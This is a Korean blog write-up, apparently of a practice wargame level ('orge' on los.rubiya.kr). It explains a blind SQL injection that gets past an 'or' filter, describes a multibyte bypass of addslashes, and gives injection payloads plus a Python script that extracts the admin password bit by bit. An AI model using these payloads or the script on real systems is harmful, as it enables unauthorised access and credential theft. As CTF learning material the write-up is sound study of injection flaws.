NGA

los.rubiya.kr/orge

2018. 11. 15. 01:17

문제를 보아하니 pw 를 추출해야하는 Blind SQL Injection 문제이다. 여기서 특별히 보이는 것은 addslashes 라는 함수인데 이 함수는 ' " \ 등의 문자에 \ 를 붙여 escape 해주는 함수이다. 이렇게 되면 우리는 ' " \ 와 같은 문자에 \' \" \\ 처럼 escape 가 된다.


하지만 문제상에서 addslashes 함수는 처음 Hello 결과 id 를 뽑은 후에 사용이 되니 그냥 공격을 해도 상관이 없을거 같다. 나중에 addslashes 함수를 만났을 때 우회하는 방법이 있는데 문자셋이 멀티바이트여야 가능한 우회방법이다. ' " \ 를 쓰기 전에 %a1 ~ %fe 중에 문자를 하나 넣어주면 %a1\ 가 합쳐져 이상한 문자가 되고 ' " \ 는 그대로 나오게 된다.


아 그리고 or 이 필터링 되어서 ord 를 사용하지 못한다. 그러므로 ascii 를 사용하자


풀이


select id from prob_orge where id='guest' and pw=''||id='admin'%26%26length(pw)>{}%23 

-> pw 의 길이 구하기 {} 에 숫자 때려 맞추기. %26%26 == &&, %23 == #


select id from prob_orge where id='guest' and pw=''||id='admin'%26%26ascii(mid(pw,{},1))%26{}={}%23

-> pw 추출



payload

 


#coding:utf-8
 
import urllib2 
import ssl 

opener = urllib2.build_opener(urllib2.HTTPSHandler(context=ssl.SSLContext(ssl.PROTOCOL_TLSv1))) 
urllib2.install_opener(opener)
 
url="http://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?"
sess="4hqu7lpapeslgg180htc7dtrh3" # Your sessionid 
 
for i in range(1,9):
 
    bin = pow(2,8)  # 128
    str=0
    while bin >= 1:
     
        query="pw=%27||id='admin'%26%26ascii(mid(pw,{},1))%26{}={}%23".format(i,bin,bin)    
 
        req=urllib2.Request(url+query)
        req.add_header("Cookie","PHPSESSID="+sess)
        read=urllib2.urlopen(req).read()
         
        if(read.find("

Hello admin

") != -1): str+=bin bin/=2 print chr(str),


'WARGAME > LOS' 카테고리의 다른 글

los.rubiya.kr/vampire  (0) 2018.12.24
los.rubiya.kr/troll  (0) 2018.11.15
los.rubiya.kr/darkelf  (0) 2018.11.15
los.rubiya.kr/wolfman  (0) 2018.11.15
los.rubiya.kr/orc  (0) 2018.11.15

이 글을 공유합시다

facebook twitter googleplus kakaoTalk kakaostory naver band